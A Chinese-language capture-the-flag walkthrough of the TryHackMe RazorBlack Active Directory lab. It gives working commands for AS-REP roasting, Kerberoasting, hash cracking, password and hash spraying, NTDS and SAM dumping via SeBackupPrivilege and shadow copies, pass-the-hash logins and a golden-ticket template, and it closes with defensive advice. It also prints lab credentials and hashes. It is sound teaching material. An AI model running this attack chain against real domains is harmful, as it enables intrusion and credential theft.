THM-RazorBlack 靶场渗透实战教学文档
1. 信息收集与端口分析
1.1 靶机信息
- 目标IP地址:
10.48.140.111(初始),重启后可能变更为如10.48.147.35 - 域名:
raz0rblack.thm
1.2 端口扫描与识别
通过全面端口扫描发现目标开放了以下关键服务:
关键端口与对应服务分析:
-
53、88、389、636、3268、3269 - Active Directory 域控制器标准端口
- 389: LDAP(明文)
- 636: LDAPS(SSL/TLS加密)
- 3268: Global Catalog LDAP
- 3269: Global Catalog LDAPS
- 识别特征:确认目标为域控制器(DC)
-
445、139 - SMB服务
- 445: microsoft-ds
- 139: netbios-ssn
- 渗透价值:SYSVOL、NETLOGON共享可能包含登录脚本,历史上存在GPP漏洞存储明文密码
-
135、593 - RPC相关服务
- 135: MS-RPC端点映射器
- 593: RPC over HTTP
- 135端口与593端口的区别:传输协议不同,593是HTTP封装的RPC
-
111、2049 - NFS服务
- 111: Portmapper/RPCbind
- 2049: NFS(网络文件系统)
- 重要发现:Windows域控制器上存在NFS是配置异常
-
3389、5985、47001 - 远程管理
- 3389: RDP远程桌面
- 5985: WinRM(Windows远程管理)
- 47001: WinRM备用端口
1.3 协议深度分析
为什么有两个RPC端口?
-
111端口:Sun RPC(ONC RPC),Unix血统
- 管理服务:NFS、mountd、NIS/YP、rquotad、nlockmgr、statd
- 识别特征:Linux服务器、NAS设备、Windows安装Services for NFS组件
-
135端口:MS-RPC(DCE/RPC),Windows专有
- 管理服务:DCOM、WMI、SAMR、LSARPC、DRSUAPI、SVCCTL、W32TIME
- 使用工具:rpcclient、impacket
- 动态端口范围:49152-65535
为什么有四个LDAP端口?
- 389 vs 3268:作用域不同
- 389:只查询本域数据
- 3268:查询整个森林的数据(Global Catalog)
- 636 vs 3269:加密版本对应
- 渗透意义:通过3268端口可一次性枚举整个森林的用户
NFS是什么?
- NFS(网络文件系统):分布式文件系统协议
- 安全特性:依赖客户端提供的UID/GID进行身份验证,不主动验证真实性
- 攻击向量:攻击者可伪造UID/GID(如UID=0)访问敏感文件
2. 初始攻击面探查
2.1 状态1:无凭证阶段
已知信息:
- 域名:
raz0rblack.thm
攻击思路:
- SMB未授权访问尝试
- 挂载NFS共享
- LDAP匿名绑定
- Kerbrute用户名爆破
实际操作:
SMB未授权访问:
impacket-smbclient guest@10.48.140.111
结果:失败
NFS挂载利用:
- 查询RPC服务:
rpcinfo -p 10.48.140.111
- 查看NFS导出列表:
showmount -e 10.48.140.111
- 挂载NFS共享:
mount -t nfs 10.48.140.111:/users users/
发现两个文件:
sbradley.txt- flag文件- 包含用户名的xlsx文件,其中提及用户
vetrova为AD ADMIN
- 清理挂载(重启靶机后必需):
umount -f ./users
- 处理用户名数据:
cat raw_ctf_users | awk -F' ' '{print substr($1,1,1) $2}' > ctf_users
生成用户名列表,格式为"首字母+姓氏"
LDAP匿名绑定尝试:
ldapsearch -x -H ldap://10.49.138.53 -b "DC=raz0rblack,DC=thm" -s base "(objectClass=*)" namingContexts
结果:不允许匿名绑定
3. AS-REP Roasting攻击
3.1 原理
- AS:Authentication Service,Kerberos认证服务
- REP:Reply,即AS-REP响应消息
- Roasting:提取加密数据离线爆破
正常流程:
用户 → AS-REQ(含加密时间戳)→ KDC → AS-REP(含TGT)→ 用户
攻击条件:
用户账户设置了"Do not require Kerberos preauthentication"属性,无需预认证直接返回AS-REP
3.2 实际操作
impacket-GetNPUsers -usersfile ctf_users raz0rblack.thm/ -dc-ip 10.48.147.35
成功获取用户twilliams的哈希
3.3 哈希破解
-
确定哈希模式:
- 访问 https://hashcat.net/wiki/doku.php?id=example_hashes
- 确认模式为18200
-
使用hashcat破解:
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
结果:获得凭据 twilliams:roastpotatoes
4. 凭证利用与信息收集
4.1 状态3:已知用户密码
已知信息:
- 域名:
raz0rblack.thm - 用户名文件:
ctf_users - 用户凭据:
twilliams:roastpotatoes
攻击思路:
- WinRM登录
- SMB登录
- Kerberoasting
- RPC登录
- LDAP登录
- 密码喷洒
实际操作:
WinRM登录尝试:
evil-winrm -u twilliams -p roastpotatoes -i 10.48.147.35
结果:失败
SMB登录成功:
impacket-smbclient twilliams:roastpotatoes@10.48.147.35
发现目录结构:
trash目录(无访问权限)Netlogon、sysvol、ipc$可读- 可用管道:
winreg和lsass
RPC管道利用:
- 连接RPC:
rpcclient -U "twilliams%roastpotatoes" 10.48.175.141
- 枚举信息:
# 查看可用命令
list lsarpc
# 获取域SID
lsaquery
# 结果:S-1-5-21-3403444377-2687699443-13012745
# 遍历RID枚举用户
lookupsid S-1-5-21-3403444377-2687699443-13012745-1000
# 使用samr枚举用户
enumdomusers
# 使用lookupsid工具
impacket-lookupsid twilliams:roastpotatoes@10.48.147.35
- Winreg管道利用:
# 查看可用命令
list winreg
# 尝试读取注册表
winreg_enumval "SAM\SAM\Domains\Account\Users"
# 结果:权限不足
# 使用impacket-reg工具
impacket-reg RAZ0RBLACK/twilliams:roastpotatoes@10.49.138.53 query -keyName 'HKLM\SAM\SAM\Domains\Account\Users'
LDAP登录与SPN枚举:
ldapsearch -x -H ldap://10.49.153.43 -D "RAZ0RBLACK\twilliams" -w roastpotatoes -b "DC=raz0rblack,DC=thm" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName
发现用户xyan1d3
使用ldapdomaindump信息收集:
ldapdomaindump -u 'RAZ0RBLACK\twilliams' -p 'roastpotatoes' 10.49.153.239
通过生成的domain_users_by_group.html发现xyan1d3具有Backup权限
5. Kerberoasting攻击
5.1 原理
- 准确名称:TGS-REP Roasting
- 攻击目标:服务账号的密码哈希
- 流程:用户请求服务票据 → KDC返回用服务账号密码哈希加密的ST → 离线破解
5.2 实际操作
impacket-GetUserSPNs 'raz0rblack.thm/twilliams:roastpotatoes' -dc-ip 10.49.140.121 -request
获得用户xyan1d3的TGS票据
5.3 哈希破解
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
结果:获得凭据 xyan1d3:cyanide9amine5628
6. 密码喷洒攻击
6.1 准备用户名列表
# 从lookupsid结果中提取有效用户
grep SidTypeUser raw_valid_user | grep -v '$' | awk '{print $2}' | cut -d'\' -f2 > valid_user
6.2 执行密码喷洒
nxc smb 10.48.147.35 -u valid_users -p roastpotatoes --continue-on-success
结果:发现用户sbradley的密码为roastpotatoes,但需要修改
6.3 密码修改
impacket-changepasswd raz0rblack.thm/sbradley:roastpotatoes@10.48.147.35 -newpass mimi123456
注意:密码需满足复杂性要求
7. 文件分析与哈希提取
7.1 SMB访问与文件下载
使用sbradley:mimi123456登录SMB:
impacket-smbclient raz0rblack.thm/sbradley:mimi123456@10.48.147.35
访问trash目录,发现文件:
sbradley.txt- flag文件experiment_gone_wrong.zip- 加密ZIP文件chat_log_20210222143423.txt- 聊天日志
7.2 ZIP文件破解
- 提取哈希:
zip2john experiment_gone_wrong.zip > zip_hash
- 使用john破解:
john zip_hash --wordlist=/usr/share/wordlists/rockyou.txt
结果:密码为electromagnetismo
- 解压文件:
unzip experiment_gone_wrong.zip
得到:ntds.dit、system.hive
7.3 提取域哈希
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL > domain_hashes.txt
7.4 哈希处理
- 分离NTLM哈希和Kerberos密钥:
# 提取NTLM哈希
sed '/[*] Kerberos keys from ntds.dit/Q' domain_hashes.txt > ntlm_hashes.txt
# 提取Kerberos密钥
awk '/[*] Kerberos keys from ntds.dit/{flag=1; next} flag' domain_hashes.txt > kerberos_keys.txt
- 提取用户名和哈希:
# 提取用户名
cat ntlm_hashes.txt | awk -F':' '{print$1}' | sed 's/^RAZ0RBLACK\///' > spary_users
# 提取对应哈希
cat ntlm_hashes.txt | awk -F':' '{print$4}' > spary_hashs
8. 哈希喷洒与横向移动
8.1 针对性哈希喷洒
对重点用户(administrator、xyan1d3、lvetrova)进行哈希喷洒:
nxc smb 10.49.190.121 -u "lvetrova" -H spary_hashs
结果:获得用户lvetrova的NTLM哈希 f220d3988deb3f516c73f40ee16c431d
8.2 WinRM登录
evil-winrm -i 10.49.190.121 -u "lvetrova" -H f220d3988deb3f516c73f40ee16c431d
成功登录
8.3 PowerShell凭据提取
在用户目录发现lvetrova.xml文件,为PowerShell序列化凭据:
(Import-Clixml -Path "C:\Users\lvetrova\lvetrova.xml").GetNetworkCredential() | Format-List *
提取凭据信息
9. Backup权限利用
9.1 使用xyan1d3凭据登录
evil-winrm -i 10.48.145.242 -u xyan1d3 -p 'cyanide9amine5628'
9.2 注册表备份权限利用
Backup组成员拥有SeBackupPrivilege权限,可直接导出SAM和SYSTEM:
# 导出注册表
reg save HKLM\SAM C:\sam.save
reg save HKLM\SYSTEM C:\system.save
# 下载到本地
download sam.save
download system.save
9.3 哈希提取
impacket-secretsdump -sam sam.save -system system.save LOCAL
9.4 卷影副本创建
由于NTDS.dit文件被锁定,需创建卷影副本:
- 创建diskshadow脚本:
@"
set context persistent
set metadata C:\Users\xyan1d3\temp.cab
set verbose on
begin backup
add volume C: alias myshadow
create
expose %myshadow% Z:
end backup
"@ | Out-File -Encoding ascii C:\Users\xyan1d3\diskshadow.txt
- 确保文件格式正确:
(Get-Content C:\Users\xyan1d3\diskshadow.txt) | Set-Content C:\Users\xyan1d3\diskshadow.txt
- 执行脚本:
diskshadow /s C:\Users\xyan1d3\diskshadow.txt
- 复制文件(绕过ACL):
# 复制NTDS.dit
robocopy /b Z:\Windows\NTDS C:\Users\xyan1d3 ntds.dit
# 复制SYSTEM
robocopy /b Z:\Windows\System32\config C:\Users\xyan1d3 SYSTEM
- 下载并提取哈希:
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL
获得管理员哈希:Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
10. 最终权限获取
10.1 管理员登录
evil-winrm -i 10.49.139.185 -u administrator -H 9689931bed40ca5a2ce1218210177f0c
10.2 Flag获取
# 查看root.xml
type root.xml
# 解码十六进制编码
echo "44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a" | xxd -r -p
# 查看twilliams目录下的文件
type "definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe"
11. 权限维持与横向移动方法总结
11.1 多种Exec方法对比
smbexec
- 底层协议:SMB + RPC(SCM)
- 调用链:SMB写文件 → 创建服务 → 执行命令 → 输出重定向到文件
- 权限要求:本地管理员权限
- 特点:不上传PE文件,通过文件传递输出
psexec
- 底层协议:SMB + RPC(SCM)
- 调用链:上传PSEXESVC.exe → 创建服务 → 建立命名管道通信
- 权限要求:本地管理员权限
- 特点:上传真实可执行文件,建立交互式管道
atexec
- 底层协议:SMB + RPC(Task Scheduler)
- 调用链:创建计划任务 → 执行命令 → 清理任务
- 权限要求:本地管理员权限
- 特点:通过计划任务执行
wmiexec
- 底层协议:DCOM(基于RPC)
- 调用链:WMI远程创建进程 → Win32_Process.Create
- 权限要求:本地管理员权限
- 特点:无文件落地,通过WMI执行
mmcexec
- 底层协议:DCOM(基于RPC)
- 调用链:DCOM远程激活MMC → 执行命令
- 权限要求:本地管理员权限
- 特点:通过MMC管理单元执行
11.2 权限提升技术
-
黄金票据攻击
- 前提条件:获得krbtgt的NTLM哈希或AES密钥
- 原理:伪造TGT票据
- 命令:
impacket-ticketer -nthash [krbtgt_hash] -domain-sid [SID] -domain [DOMAIN] Administrator export KRB5CCNAME=$(pwd)/Administrator.ccache impacket-psexec -k -no-pass -dc-ip [DC_IP] [DOMAIN]/Administrator@[DC_IP] -
SeBackupPrivilege利用
- 前提条件:Backup Operators组成员
- 能力:绕过ACL读取任何文件
- 工具:robocopy /b、diskshadow
-
DCSync攻击
- 前提条件:域管理员或等价权限
- 原理:模拟域控制器复制请求获取哈希
- 工具:impacket-secretsdump
12. 防御建议
12.1 配置加固
- 禁用NFS服务在域控制器上
- 确保所有用户账户启用Kerberos预认证
- 限制Backup Operators组成员权限
- 监控异常LDAP查询行为
- 实施强密码策略,防止密码喷洒
12.2 监控与检测
- 监控Kerberos TGS请求异常
- 检测AS-REP Roasting尝试
- 监控注册表导出操作
- 检测卷影副本创建行为
- 审计敏感文件访问日志
12.3 权限管理
- 遵循最小权限原则
- 定期审查特权组成员
- 实施凭据保护策略
- 启用LSA保护
- 限制远程管理协议访问
本教学文档详细记录了从信息收集到获取域管理员权限的完整攻击链,涵盖了Active Directory渗透测试中的关键技术点,包括协议分析、凭证窃取、横向移动和权限提升等关键技术。